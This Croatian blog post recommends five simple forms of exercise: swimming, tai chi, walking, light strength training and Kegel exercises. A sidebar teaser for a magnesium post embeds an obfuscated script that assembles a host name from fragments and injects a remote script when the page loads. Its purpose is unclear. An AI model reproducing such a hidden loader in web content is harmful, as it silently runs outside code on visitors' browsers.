5 NAJUČINKOVITIJIH TRENINGA





5 najučinkovitijih treninga 




Trendovi u fitnessu stalno se mijenjaju, od novih grupnih treninga do specifičnih metoda vježbanja koje obećavaju brze rezultate. Ipak, prema stručnjacima, najučinkovitije aktivnosti često su upravo one najjednostavnije.





Plivanje

Plivanje se smatra jednim od najboljih oblika vježbanja jer istovremeno aktivira cijelo tijelo, a pritom ne opterećuje zglobove.

Zahvaljujući uzgonu vode, pokreti su lakši i sigurniji, što ovu aktivnost čini pogodnom i za osobe s bolovima u zglobovima.

Osim fizičkih koristi, plivanje može pozitivno utjecati i na mentalno zdravlje.




Tai Chi

Ova kineska disciplina kombinira kretanje i opuštanje te se često opisuje kao meditacija u pokretu.

Sastoji se od sporih, kontroliranih pokreta koji se nadovezuju jedan na drugi, čime se poboljšavaju ravnoteža, koordinacija i koncentracija.

Posebno se preporučuje starijim osobama jer pomaže u očuvanju stabilnosti i smanjenju rizika od padova.




Hodanje

Iako se često podcjenjuje, hodanje je jedan od najučinkovitijih oblika tjelesne aktivnosti.

Redovite šetnje mogu pomoći u snižavanju krvnog tlaka i kolesterola, jačanju kostiju te poboljšanju raspoloženja.

Također mogu smanjiti rizik od kroničnih bolesti poput dijabetesa i srčanih oboljenja.




Trening snage

Trening snage ne mora značiti intenzivno dizanje velikih težina.

Dovoljno je koristiti lakša opterećenja kako bi se očuvala mišićna masa i snaga, koja s godinama prirodno opada.

Osim toga, mišići imaju važnu ulogu u regulaciji tjelesne težine i mogu pomoći u očuvanju funkcije mozga u starijoj dobi.

Važno je pravilno izvoditi vježbe kako bi se izbjegle ozljede te postupno povećavati opterećenje.



Kegelove vježbe

Kegelove vježbe usmjerene su na jačanje mišića zdjeličnog dna.

Razvio ih je Arnold Kegel s ciljem pomoći ženama nakon poroda, no danas se preporučuju i muškarcima.

Izvode se tako da se mišići zdjeličnog dna naizmjenično stežu i opuštaju, pri čemu se napetost zadržava nekoliko sekundi.

Redovitim izvođenjem mogu pomoći u kontroli mokraćnog mjehura i jačanju mišića.




Jednostavne navike donose najveće rezultate

Bez obzira na dob i razinu kondicije, ove aktivnosti mogu pomoći u održavanju zdravlja i forme.

Ključ uspjeha nije u praćenju trendova, nego u dosljednosti i odabiru vježbi koje se lako uklapaju u svakodnevni život.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više